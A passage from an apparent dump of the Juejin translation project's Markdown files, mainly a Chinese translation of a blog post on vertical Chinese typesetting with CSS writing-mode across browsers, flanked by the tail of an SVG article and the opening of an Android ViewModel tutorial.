图片不会被正确渲染。\n\n我现在可以激动的宣布这个问题已经被解决了，前面那张图经过我手工转换（去除本地 IRI 引用）之后可以完美的呈现出来了（这是我真实编译后的 PNG ）\n\n\n[![](http://ww1.sinaimg.cn/large/a490147fgw1f3qdwqyc6nj208c08caaj.jpg)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/12/svg_logo2.png?ssl=1)\n\n不得不说我在写上一篇关于众多问题文章的时候相当失望，当时这些问题折腾了很久才勉强得出这个工具不能真正的用在工程当中。现在这些问题很多都已经解决了，而且很多工具我可以用在实际的工程当中。但是还存在很多导入和转换的问题，但总会有像 SVG 格式这样的问题会出现 - 没有两个 SVG 作者（不管是人还是软件）会用同一种方式做事情。但是如果这个工具以这种速度优化和完善的话或许能解决这些问题，但是谁又知道呢？\n\n这篇文章并没有真正写代码，但前一篇的代码可以在 [这](https://github.com/StylingAndroid/Vectors4All/tree/master) 找到。\n\n\n"
  },
  {
    "path": "TODO/vertical-typesetting-revisited.md",
    "content": "> * 原文地址：[Vertical typesetting with writing-mode revisited](https://www.chenhuijing.com/blog/vertical-typesetting-revisited/)\n> * 原文作者：[Chen Hui Jing](https://www.chenhuijing.com/blog/vertical-typesetting-revisited/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/vertical-typesetting-revisited.md](https://github.com/xitu/gold-miner/blob/master/TODO/vertical-typesetting-revisited.md)\n> * 译者：[DEARPORK](https://github.com/Usey95)\n> * 校对者：[congFly](https://github.com/congFly) [PLDaily](https://github.com/PLDaily)\n\n# 垂直排版：重提 writing-mode\n\n大约一年前， 我写了在一次 Web 中文垂直排版的尝试中的[一些发现](https://www.chenhuijing.com/blog/chinese-web-typography/)。这是一个[简单的 demo](https://www.chenhuijing.com/zh-type)，它允许你通过复选框来切换书写模式。\n\n我在不久后遇到了 [Yoav Weiss](https://blog.yoav.ws/)，并聊了一下[响应式图片社区小组](http://ricg.io/)，因为我提到如果可以通过媒体查询得到 `picture` 元素的 `writing-mode`，我就不必在切换排版的时候通过一些比较 hack 的方式对图像进行转换。他建议我把它写成[一个响应式图像用例](https://github.com/ResponsiveImagesCG/ri-usecases/issues/63)。\n\n但当我重新打开这个一年没打开的 demo 的时候，我的表情在最初的五分钟由 😱 变成了 😩（我还能说什么呢，我就是这么表情丰富 🤷）。所以为了宣泄，我将一步步写下谁（也就是各种浏览器）破坏了什么以及目前可能的解决办法。\n\n帖子很长，可以使用链接来跳转。\n\n### 大脑转储结构\n\n* [最初的发现](#initial-findings)\n  * [Chrome (64.0.3278.0 dev)](#chrome-64032780-dev)\n  * [Firefox (59.0a1 Nightly)](#firefox-590a1-nightly)\n  * [Safari Technology Preview 44](#safari-technology-preview-44)\n  * [Edge 16.17046](#edge-1617046)\n  * [Edge 15.15254](#edge-1515254)\n  * [iOS 11 WebKit](#ios-11-webkit)\n* [代码时间](#code-time)\n  * [一些背景](#some-background)\n  * [调试 101：重置为基准](#debugging-101-reset-to-baseline)\n  * [vertical-rl 的含义](#the-implications-of-vertical-rl)\n* [排版切换](#layout-switching)\n  * [解决方案 #1: Javascript](#solution-1-javascript)\n  * [解决方案 #2: 复选框 hack](#solution-2-checkbox-hack)\n* [处理图像对齐](#handling-image-alignment)\n  * [经典的属性](#old-school-properties)\n  * [使用 flexbox 来居中](#using-flexbox-for-centring)\n  * [Grid 怎么样？](#how-about-grid)\n* [成功的解决方案？](#winning-solution)\n* [延伸阅读](#further-reading)\n* [问题和错误列表](#issues-and-bugs-list)\n\n## 最初的发现\n\n我只在看我能立即访问的浏览器，因为我的人生还有很多别的事要做 🙆。\n\n### Chrome (64.0.3278.0 dev)\n\n![vertical-rl on Chrome](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/chrome-640.jpg)\n\n好的，这看起来非常棒。我说所有东西都被破坏了其实有点夸张。所有的文字和图片都占满，在垂直书写模式下没有重大的渲染问题。做的好，Chrome。\n\n![horizontal-tb on Chrome](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/chrome2-640.jpg)\n\n切换排版模式将东西都踢去了右边。我记得在垂直排版下将东西水平居中是一件让人特别痛苦的事情，所以在第一次不太顺利的尝试中我肯定用了某些 hack 手段。\n\n这在 2017 年初是绝对可行的，因为我为我的 Webconf.Asia 幻灯片做了[这个截屏](https://www.chenhuijing.com/slides/webconf-asia-2017/videos/mode-switcher.mp4)。我很确定当时用的是 Chrome。几个月时间一个 demo 的变化让人惊讶。我的老大提到过一个词叫「代码腐烂」，也许这就是吧。\n\n### Firefox (59.0a1 Nightly)\n\n![vertical-rl on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/firefox-640.jpg)\n\n天哪，这，我都无语了。Firefox Nightly 是我的默认浏览器，所以我的最初反应是一切都被破坏了。一切确实都被破坏了，看看这无限滚动的水平滚动条，到底发生了什么？！\n\n![horizontal-tb on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/firefox2-640.jpg)\n\n让我们切换……等等，我的复选框呢？唉，这可能要等一会。不管怎么说，至少我将复选框绑在了 label 上，所以我仍然可以通过点击 label 来切换排版。所以，这绝对不是居中，但也没有太崩。两个浏览器的表现形式天差地别。\n\n### Safari Technology Preview 44\n\n![vertical-rl on Safari TP](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/stp-640.jpg)\n\n嘿，嘿，嘿！这看起来令人惊讶的好。甚至连高度都是正确的。Safari，我可能误判你了。Safari 的渲染引擎到底是什么？好吧，WebKit。\n\n![horizontal-tb on Safari TP](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/stp2-640.jpg)\n\n噢噢噢，这有点居中。不看代码，我也能确定我尝试过一些很奇怪的转译来改变整个内容块，因此在每个浏览器中行为不一致。但这是个令人欣慰的惊喜。\n\n### Edge 16.17046\n\n这是 Windows 10 内置快速通道版本，所以我想我的 Edge 浏览器应该比大多数人的版本更高。没关系，我也可以用我的手机（没错，我用的是 Windows phone，不服来战）。\n\n![vertical-rl on Edge 16](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/edge-640.jpg)\n\n无论如何，这看起来也不算太坏。只是那个复选框有点错位。更重要的是滚轮正常工作！其他所有的浏览器都不允许我用滚轮水平滚动。虽然我不知道这是 Windows 的功劳还是 Edge。\n\n![horizontal-tb on Edge 16](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/edge2-640.jpg)\n\n也是隐约的居中。我真的需要马上检查下我的转换代码。现在我可能对我的复选框究竟怎么了也产生了疑问。啊，使用滚轮无法垂直滚动，这就有意思了。另外，注意滚动条在左边 🤔。\n\n### Edge 15.15254\n\n![](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/edgem.jpg)\n\nEdge 15 上的 vertical-rl\n\n![](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/edgem2.jpg)\n\nEdge 15 上的 horizontal-tb\n\n跟 Edge 16 几乎一模一样。我有理由相信 Windows phone 上的 Edge 浏览器用的是与桌面版本同样的渲染引擎 EdgeHTML，\b\b如果有错还望指正。\n\n### iOS 11 WebKit\n\n![](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/ios.jpg)\n\niOS 11 WebKit 上的 vertical-rl\n\n![](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/ios2.jpg)\n\niOS 11 WebKit 上的 horizontal-tb \n\n尽管我的 iPad 上装了一大堆浏览器，但我知道它们的渲染引擎都是 WebKit，因为苹果从未允许过第三方的浏览器引擎。正如在桌面版展示的那样，这是表现比较好的浏览器。\n\n## 代码时间\n\n好了，既然我们已经确定了破坏的基准，现在是时候把防尘罩拆下来，看看底下到底有什么怪异的代码。公平地说，没有太多，考虑到这是一个非常简单的演示，所以还不错。\n\n同时我还要强烈安利（无数次）[Browsersync](https://www.browsersync.io/)，那是我最重要的开发工具，尤其是需要在不同设备的不同浏览器上调试的时候。如果我没有 Browsersync，我将不会为此做这么多工作。\n\n### 一些背景\n\n切换器的实现可以用两种形式，一是通过 Javascript 切换类，二是 hack 复选框。我通常倾向于只使用 CSS 的解决方案，所以决定 hack 复选框。这个 demo 足够简单，所以不会有太多键盘控制方面的干扰。我的意思是，你可以像其它任何的复选框一样用 tab 切换到它然后切换。\n我真的需要研究可访问性的问题以确定我是否会在屏幕阅读器上搞砸它，但那是另一回事了。今天优先处理布局问题。\n\n如果你没有尝试过 hack 复选框，它涉及到 `:checked` 伪选择器的使用和兄弟或子选择器，你可以通过这种方式用 CSS hack 复选框的状态。\n\n需要注意的是，切换 `:checked` 状态的 input（通常是\b复选框元素），必须处于与你想切换状态的目标元素相同或更高的层级。\n\n```\n<body>\n  <input type=\"checkbox\" name=\"mode\" class=\"c-switcher__checkbox\" id=\"switcher\" checked>\n  <label for=\"switcher\" class=\"c-switcher__label\">竪排</label>\n\n  <main>\n    <!-- 内容样式 -->\n  </main>\n\n  <script src=\"scripts.js\"></script>\n</body>\n```\n\n问题就在复杂度上。在同一个页面上混合使用不同的嵌套的书写模式确实会搞垮浏览器。我不是浏览器工程师，但我有足够的常识知道渲染东西不是微不足道的。但是我是一个执着的人，所以必受其苦。\n\n![](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/diagram.svg)\n\n一般的复选框 hack 策略\n\n原始的 demo上，我在 `body` 元素上设置默认的书写模式为 `vertical-rl`，然后使用复选框来切换 `main` 元素里的书写模式。但是看起来似乎每个人（浏览器渲染引擎）都向上面的截图目录一样，以不同的方式处理嵌套的书写模式。\n\n### 调试 101: 重置为基准\n\n记住，这是一个大脑转储条目，如果你觉得无聊，我对此表示抱歉。我做的第一件事就是删除所有样式，重新开始。再次重申，这个 demo 有效是因为它十分简单。上下文才是一切，朋友们。\n\n```\nhtml {\n  box-sizing: border-box;\n  height: 100%;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: inherit;\n}\n\nbody {\n  margin: 0;\n  padding: 0;\n  font-family: \"Microsoft JhengHei\", \"微軟正黑體\", \"Heiti TC\", \"黑體-繁\", sans-serif;\n  text-align: justify;\n}\n```\n\n这几乎成了我所有项目的事实起点。将所有元素设置成 `border-box`，而且通常我还会加上 `margin: 0` 和 `padding: 0` 作为样式重置的基础。但是就这个 demo 而言，我将让浏览器保留它的空白只重置 `body` 元素。\n\n这个 demo 几乎全是中文，所以我只添加了中文字体，把系统自带的 sans-serif 作为后备。不过大多数情况来说，优先选择基于拉丁语的字体是个普遍的共识。但在这里，中文字体支持基本的拉丁字符，而反过来情况就不一样了。\n\n当浏览器遇到中文字符时，它不会在基于拉丁语的字体中寻找，所以它会选用下一种备选字体，直到找到合适的。如果你先将中文字体列出来，浏览器将使用中文字体中的拉丁语字符，有时候这些字形没被打磨，看起来也不太好，尤其是在 Windows 上。\n\n接下来是一些不太影响布局的美化（`line-height` 算吗？🤔）\n\n```\nimg {\n  max-height: 100%;\n  max-width: 100%;\n}\n\np {\n  line-height: 2;\n}\n\nfigure {\n  margin: 0;\n}\n\nfigcaption {\n  font-family: \"MingLiU\", \"微軟新細明體\", \"Apple LiSung\", serif;\n  line-height: 1.5;\n}\n```\n\n这一个合理、体面的基准。现在我们可以调查 `writing-mode` 的行为了。\n\n### vertical-rl 的含义\n\n每一个元素的 `writing-mode` 的默认值都是 `horizontal-tb`，而且它是一个继承属性。如果你设置了一个元素的 `writing-mode`，这个值将传递到它所有的子元素。\n\n如果我们将 `main` 元素的 `writing-mode` 设置为 `vertical-rl` ，在每个浏览器上，所有的文字和图像都被正确渲染了。Firefox 有 15px 轻微的垂直溢出，我怀疑是因为滚动条，不过我不能确定。其它的浏览器一点水平溢出都没有。\n\n![vertical-rl on the main element](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/main-640.jpg)\n\n`main` 元素是垂直书写模式的同时，document 本身是水平书写模式，就会产生问题，意味着内容从左边开始，而且我们最终会看到第一次加载的文章的末尾。\n\n所以，让我们把东西提升一个层级，在 `body` 上设置 `writing-mode: vertical-rl`。Chrome，Safari 和 Edge 如我们所想从右到左渲染内容。但是 Firefox 仍然显示文章的末尾，尽管这确实修复了滚动条溢出的问题，它看起来和 [Bug 1102175](https://bugzilla.mozilla.org/show_bug.cgi?id=1102175)有关。\n\n![vertical-rl on the body element](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/body-640.jpg)\n\n最后，如果我们将 `html` 设置 `writing-mode: vertical-rl`，Firefox 终于正常并从右到左显示了，而且没有搞笑的溢出。And lastly, if we apply `writing-mode: vertical-rl` to the `html` element, Firefox finally comes around and reads from right-to-left. Also, no funny overflowing, just vertical right-to-left goodness.\n\n![vertical-rl on the html element](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/html-640.jpg)\n\nIE11 支持书写模式属性，只不过使用[较早的规范](https://www.w3.org/TR/2003/CR-css3-text-20030514/#Progression)中定义的旧语法 `-ms-writing-mode: tb-rl`。这工作正常，但我由于现在使用的 `main` 标签 IE11 并不支持，切换器失效了。甚至将 `main` 标签设置成 `display: block` 都无法修复。我可以为了更好的兼容性将 `main` 替换成 `div`。让我考虑一下。\n\n## 布局切换\n\n由于 Firefox 有已知的垂直书写的弹性盒模型的问题，所以我将把调试任务分成两个部分，一是纯粹的布局。找出使切换器正常工作的不同方法，而且没有任何奇怪的溢出。\n\n第二个部分将与图像居中有关，这让我陷入混乱。除了居中，我还想调整图像的方向，它是让我首先重温 [RICG 用例汇总](https://github.com/ResponsiveImagesCG/ri-usecases/issues/63)的原因。#不起眼的注脚\n\n### 解决方案 #1: Javascript\n\n让我们先来尝试回避的解决方案，既然问题出在混用书写模式，也许我们可以停止混用。基于我们上面的观察，用一个 Javascript 事件监听器去切换 html 元素的 CSS 类可以隐性修复许多奇怪的渲染问题。好了，代码时间到。\n\n我想切换的两个类的类名简单地叫做 `vertical` 和 `horizontal`。既然我已经有了复选框，也许也可以用作类的切换器。\n\n```\ndocument.addEventListener('DOMContentLoaded', function() {\n  const switcher = document.getElementById('switcher')\n\n  switcher.onchange = changeEventHandler\n}, false)\n\nfunction changeEventHandler(event) {\n  const isChecked = document.getElementById('switcher').checked\n  const container = document.documentElement\n\n  if (isChecked) {\n    container.className = 'vertical'\n  } else {\n    container.className = 'horizontal'\n  }\n}\n```\n\n将内容块居中完成得很好。因为再也没有嵌套的书写模式或者弹性盒模型。直接的自动 margin 在所有浏览器中都完美实现了居中，甚至 Firefox。\n\n```\n.vertical {\n  writing-mode: vertical-rl;\n\n  main {\n    max-height: 35em;\n    margin-top: auto;\n    margin-bottom: auto;\n  }\n}\n\n.horizontal {\n  writing-mode: horizontal-tb;\n\n  main {\n    max-width: 40em;\n    margin-left: auto;\n    margin-right: auto;\n  }\n}\n```\n\n![Auto margins for vertical centring](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/centred2-640.jpg)\n\n有趣的是，在垂直书写模式，我们可以用 `margin-top: auto` 和 `margin-bottom: auto` 来垂直居中。但相信我，水平居中将比你想象的更令人痛苦。在下一个 hack 复选框的部分你将看到。\n\n**意外的 TIL**: Microsoft Edge 遵守 ECMAScript5「**严格模式下不允许分配只读属性**」的规范，但是 Chrome 和 Firefox 在严格怪异模式下仍然允许，很可能是为了代码兼容。我最初尝试使用 `classList` 来切换类名，但它是一个只读属性，而 `className` 则不是。相关阅读在[下面的链接](#further-reading)。\n\n### 解决方案 2: 复选框 hack\n\n这个方案的原理类似使用 Javascript，区别在于我们不使用 CSS 类来改变状态，而是使用 `:checked` 伪元素。如我们前面所讨论的，复选框元素必须和 `main` 元素在同一层级才会生效。\n\n```\n.c-switcher__checkbox:checked ~ main {\n  max-height: 35em;\n  margin-top: auto;\n  margin-bottom: auto;\n}\n\n.c-switcher__checkbox:not(:checked) ~ main {\n  writing-mode: horizontal-tb;\n  max-width: 40em; \n  margin-left: auto; // 无效\n  margin-right: auto; // 无效\n}\n```\n\n布局代码与 `.vertical` 和 `.horizontal` 一样，但，结果却不一样。垂直居中是好的，看起来好像是我们在用 Javascript。但是水平居中歪向了右边。自动 margin 在这一部分似乎完全没有发挥作用。\n但仔细一想，这其实是「正确」的行为，因为我们同样不能用这种方式在水平书写模式下实现垂直居中。为什么呢？让我们来看一下规范。\n\n所有的 CSS 属性都有值，一旦你的浏览器解析了一个文档并构建了 DOM 树，每个元素的每个属性都需要赋值。[Lin Clark](http://lin-clark.com/) 写了[一个精彩的代码漫画](https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/)来解释 CSS 引擎如何工作，你不能错过它！话说回来，值，规范里说：\n\n> 一个属性的最终值是**四步计算**的结果：首先通过规范确定值（「**指定值**」），然后解析为一个用于继承的值（「**计算值**」），然后如果有必要，转换成绝对值（「**使用值**」），最后依据具体场景限制再做转换（「**实际值**」）。\n\n与此同时，依据规范，[高度和 margin 的计算](https://www.w3.org/TR/CSS2/visuren.html#relative-positioning)由各类盒模型的许多规则决定的。如果上下的值同时为 auto，它们的使用值将被解析成 `0`。\n\n![Margins resolving to zero](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/zero-640.jpg)\n\n当我们将书写模式设置成垂直，「height」似乎在计算的时候会变成水平坐标。我说似乎是因为我并不百分百确定它真的是这样计算的。它让我觉得 Javascript 解决方案很神奇。\n\n开个玩笑，实际上因为我们在 Javascript 解决方案中没有混用书写模式，所以将各自的值解析为 `0` 并不影响我们想要的居中效果。可能你需要重读这一句话几次 🤷。\n\n想要在切换到垂直书写模式的时候将 `main` 元素水平居中，我们需要使用好的变换技巧。\n\n```\n.c-switcher__checkbox:not(:checked) ~ main {\n  position: absolute;\n  top: 0;\n  right: 50%;\n  transform: translateX(50%);\n}\n```\n\n这在 Chrome，Firefox 和 Safari 上可行。不幸的是，Edge 上有点毛病，东西都歪向页面中间的某个地方以及左边。是时候记录下这个 Edge 的 bug。另外，滚动条出现在了左侧而不是右侧。\n\n![Seems to be buggy on Edge](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/troublemaker-640.jpg)\n\n## 处理图像对齐\n\n好了，继续。当在垂直书写模式时，我希望有两张图片的 figure 元素堆叠显示，而在水平书写模式中，如果空间允许，则并排显示。理想情况下，figure 元素（图像和标题）将在各自的书写模式下居中。\n\n### 经典的属性\n\n既然我们正在一个干净的页面工作，让我们试试最基础的居中技术：`text-align`。默认情况下，图像和文本是内联元素。给 figure 元素设置 `text-align: center`，天呐，成功了 😱！\n\n水平和垂直书写模式下的图像都已经成功地居中了。我现在非常怀疑一年前我做这个的时候的智商。显然，为了我的目的和意图，弹性盒模型是不必要的。我首先尝试了新的技术，但它让我付出了代价。\n\n真是醉了 🥃。\n\n在水平书写模式中，不需要添加太多东西。只是一个简单的 `margin-bottom: 1em`，给 figure 之间留空间。由于空间关系，我确实需要将竖直的图像旋转，在这里我使用 transform 的 rotate 来完成。\n\n```\n.vertical {\n  figure {\n    margin-bottom: 1em;\n  }\n\n  figcaption {\n    max-width: 30em;\n    margin: 0 auto;\n    display: inline-block;\n    text-align: justify;\n  }\n\n  .img-rotate {\n    transform: rotate(-90deg);\n  }\n}\n```\n\n问题是，当你旋转了一个元素，浏览器仍然会记住它原来的宽高（我想），所以在我的 demo 中，当视窗变得非常窄的时候，它将触发水平溢出。可能有办法修复这个问题，但我没有找到。欢迎指教。\n\n这就是我将为 RICG 编写的用例。想法是，如果可以通过媒体查询得到书写模式，我就可以使用 `srcset` 定义一个垂直的图像和一个水平的图像，分别为对应的书写模式提供图片。\n\n在垂直书写模式中，我们通常希望文字整齐，或者至少在短行上对齐半孤立的字符。然后文字间的空隙，margin 应该设置为 left 而不是 bottom。\n\n```\n.vertical {\n  figure {\n    margin-left: 1em;\n  }\n\n  figcaption {\n    max-height: 30em;\n    margin: auto 0.5em;\n    display: inline-block;\n    text-align: justify;\n  }\n}\n```\n\n现在我们几乎可以称之为圆满的一天。最终结果已经实现了目标。我想补充说的是，除了我之前提到的 Edge 缺陷之外，无论 Javascript 方案还是复选框 hack 方案都是完全相同的。\n\n### 使用弹性盒模型居中\n\n我怀疑我选择弹性盒模型实现居中的理由，尽管老实说我想不起来到底为什么我觉得这是一个好主意。显然，我不需要弹性盒模型的任何特点。那我应该也做个大脑转储？\n\n但看了一眼我的源码，我才发现我给包裹图像的应该堆叠的 `div` 设置了 `display: flex`，这让图像成为了弹性容器的子元素，导致 Firefox 的垂直书写模式渲染混乱。\n\n![Flexbox issue with vertical writing-mode on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/ffbug-640.jpg)\n\n使用这种方法，东西看上去都很美好，而且我测试过的 Chrome，Edge 以及 Safari 的所有版本（前面提到的列表）都可行，因此图像在垂直和水平两种模式下都居中对齐。但 Firefox 不行，真的，切换到垂直书写模式时，图片在我的页面上不可见，虽然在水平模式下很好。\n\n![Flexbox issue with vertical writing-mode on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/ffbug2-640.jpg)\n\n我已经用 `display: flex` 的 `div` 包裹了应该堆叠显示的图像，但不知为何在 Firefox 的垂直模式下搞砸了。我怀疑这个行为和这些 bug 有关：[Bug 1189131](https://bugzilla.mozilla.org/show_bug.cgi?id=1189131)， [Bug 1223180](https://bugzilla.mozilla.org/show_bug.cgi?id=1223180), [Bug 1332555](https://bugzilla.mozilla.org/show_bug.cgi?id=1332555)， [Bug 1318825](https://bugzilla.mozilla.org/show_bug.cgi?id=1318825) 和 [Bug 1382867](https://bugzilla.mozilla.org/show_bug.cgi?id=1382867)。\n\n与此同时，我对 Firefox 下，在垂直书写模式中作为弹性容器子元素的图像的效果产生了好奇。好像浏览器直接对你说不 ♀️ 🙅 💩。\n\n![Flexbox issue with vertical writing-mode on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/whoa-640.jpg)\n\n抛开垂直书写模式，我和 [Jen Simmons](http://jensimmons.com/) 交流过不同浏览器的 flexbox 实现，她发现在所有的浏览器中，缩小图像的处理都是不同的。[这个问题](https://github.com/w3c/csswg-drafts/issues/1322)仍在 CSS 工作组中讨论，敬请期待更新。\n\n这个缩小的问题与固有尺寸的概念有关，尤其是含有固有长宽比例的图像。CSS 工作组对此有过[相当长的讨论](https://github.com/w3c/csswg-drafts/issues/1112)，因为这不是一个小问题。\n\nFirefox 上一个有趣的观察是，弹性容器的宽被视窗的宽度限制，但目前没有在别的浏览器上发现这个问题。当容器内所有的图片的宽度之和超过了视窗宽度，在 Firefox 上，图像会缩小以适应宽度，但在别的所有的浏览器上，它们只会溢出然后你会得到一个水平滚动条 🤔。\n\n为了暂时避免这个问题，我要确保我的图像都不是弹性容器的子元素。所有的图像，无论是单还是双，都被包裹在额外的 `div`中。`figure` 元素设置了 `display: flex` 属性，让 `figcaption` 和包裹图像的 `div` 成为弹性容器的子元素而不是图像本身。\n\n```\n.vertical {\n  writing-mode: vertical-rl;\n\n  main {\n    max-height: 35em;\n    margin-top: auto;\n    margin-bottom: auto;\n  }\n\n  figure {\n    flex-direction: column;\n    align-items: center;\n    margin-left: 1em;\n  }\n\n  figcaption {\n    max-height: 30em;\n    margin-left: 0.5em;\n  }\n\n  .img-single {\n    max-height: 20em;\n  }\n}\n\n.horizontal {\n  writing-mode: horizontal-tb;\n\n  main {\n    max-width: 40em;\n    margin-left: auto;\n    margin-right: auto;\n  }\n\n  figure {\n    flex-wrap: wrap;\n    justify-content: center;\n    margin-bottom: 1em;\n  }\n\n  figcaption {\n    max-width: 30em;\n    margin-bottom: 0.5em;\n  }\n\n  .img-wrapper img {\n    vertical-align: middle;\n  }\n\n  .img-single {\n    max-width: 20em;\n  }\n\n  .img-rotate {\n    transform: rotate(-90deg);\n  }\n}\n\n```\n\n复选框 hack 的实现完全一样。我从中学习到的是，浏览器对于元素的区域计算需要下很大功夫，尤其是具有固有尺寸比例的。\n\n### Grid 怎么样？\n\n我们已经在布局所需上走了很远，所以我考虑尝试使用 Grid 来实现图像对齐。我们可以尝试让每个 `figure` 都成为一个 grid 容器，或许可以用上 `grid-area` 和 `fit-content` 这些有趣的属性让东西对齐。\n\n不幸的是，十分钟的尝试之后，我脑袋炸了。Firefox 的 grid 调试器并不能匹配我页面上的元素，但也有可能是因为页面上太多东西了。\n\n![Grid inspector tool issue in vertical writing-mode](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/gridtool-640.jpg)\n\n我需要为使用 grid 的垂直书写模式创建一个简化的测试用例，那将是一个简单得多的 demo，我还会单独写一篇文章（可能还有相关的错误报告）。\n\n## 成功的解决方案？\n\n当前完成的我的[独立 demo](https://www.chenhuijing.com/zh-type/) 使用的是不用弹性盒模型的复选框 hack 解决方案。我将保留复选框 hack 的版本以追踪 Edge 的 bug。但弹性盒模型解决方案，如果你不介意多余的包裹，也是可以的。用于 Javascript 实现的标记也看起来更好，因为你将切换器包裹在一个 `div` 中然后写样式。\n\n在最后，有很多方法可以实现同样的结果。从别的地方拷贝代码也可以，但是出现莫名其妙的问题就麻烦了。你不必从头开始编写所有东西，但要确保里面没有无法破译的「魔法」。\n\n说说而已 😎。\n\n## 延伸阅读\n\n* [严格模式下不允许分配只读属性](https://devtidbits.com/2016/06/12/assignment-to-read-only-properties-is-not-allowed-in-strict-mode/)\n* [内置的超快 CSS 引擎: Quantum CSS (又称 Stylo)](https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/)\n* [CSS 写作模式 级别三](https://www.w3.org/TR/css-writing-modes-3/)\n* [CSS 弹性盒模型布局 模块 级别一 编辑草案](https://drafts.csswg.org/css-flexbox/)\n* [CSS 内部与外部尺寸 模块 级别三](https://www.w3.org/TR/css-sizing-3/)\n\n## 问题和错误列表\n\n* [Firefox Bug 1102175: writing-mode \b为 vertical-rl 的`<body>`元素子元素不向右对齐](https://bugzilla.mozilla.org/show_bug.cgi?id=1102175)\n* [Firefox Bug 1189131: 当书写模式为vertical-rl时，flex align-items center会移动文本](https://bugzilla.mozilla.org/show_bug.cgi?id=1189131)\n* [Firefox Bug 1223180: Flex + 垂直书写模式: flex 元素 / 文本 消失](https://bugzilla.mozilla.org/show_bug.cgi?id=1223180)\n* [Firefox Bug 1332555: [书写模式] 垂直书写模式的子元素固有大小错误，因此重绘后大小不适](https://bugzilla.mozilla.org/show_bug.cgi?id=1332555)\n* [Firefox Bug 1318825: [css-flexbox] 垂直书写模式下 Flex 元素在水平弹性容器中宽度错误](https://bugzilla.mozilla.org/show_bug.cgi?id=1318825)\n* [Firefox Bug 1382867: 书写模式和弹性盒模型的布局问题](https://bugzilla.mozilla.org/show_bug.cgi?id=1382867)\n* [CSSWG Issue #1322: [css-flexbox] 与图像缩小不兼容](https://github.com/w3c/csswg-drafts/issues/1322)\n* [Chromium Issue 781972: 调整大小时，图像不保留宽高比](https://bugs.chromium.org/p/chromium/issues/detail?id=781972)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/viewmodels-a-simple-example.md",
    "content": "> * 原文地址：[ViewModels : A Simple Example](https://medium.com/google-developers/viewmodels-a-simple-example-ed5ac416317e)\n> * 原文作者：[Lyla Fujiwara](https://medium.com/@lylalyla?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-a-simple-example.md](https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-a-simple-example.md)\n> * 译者：[huanglizhuo](https://github.com/huanglizhuo)\n> * 校对者：[chuanxing](https://github.com/zhaochuanxing) [miguoer](https://github.com/miguoer)\n\n# ViewModels 简单入门\n\n### 简介\n\n两年前，我在做 [给 Android 入门的课程](https://www.udacity.com/course/android-development-for-beginners--ud837)，教零基础学生开发 Android App。其中有一部分是教学生构建一个简单 App 叫做 [Court-Counter](https://github.com/udacity/Court-Counter).\n\nCourt-Counter 是一个只有几个按钮来修改篮球比赛分数的 App。最终的App有一个bug，如果你旋转手机，当前保存的分数会莫名归零。\n\n![](https://cdn-images-1.medium.com/max/800/1*kZ5CiWnpSC0-aQeModzpNA.gif)\n\n这是什么原因呢？因为旋转设备会导致 App 中一些 [**配置发生改变**](https://developer.android.com/guide/topics/manifest/activity-element.html#config) ，比如键盘是否可用，变更设备语言等。这些配置的改变都会导致 Activity 被销毁重建。\n\n这种表现可以让我们在做一些特殊处理，比如设备旋转时变更为横向特定布局。 然而对于新手（有时候老鸟也是）工程师来说，这可能会让他们头疼。\n\n在 Google I/O 2017，Android Framework团队推出了一套 Architecture Components 的工具集，其中一个处理设备旋转的问题。\n\n[**ViewModel**](https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html) 类旨在以有生命周期的方式保存和管理与UI相关的数据。 这使得数据可以在屏幕旋转等配置变化的情况下不丢失。\n\n这篇文章是详细探索ViewModel系列文章中的第一篇。 在这篇文章中，我会：\n\n- 解释ViewModel满足的基本需求\n- 通过更改 Court-Counter 代码以使用 ViewModel 解决旋转问题\n- 仔细审视 ViewModel 和 UI 组件的关联\n\n### 潜在的问题\n\n潜在的挑战是  [Android Activity 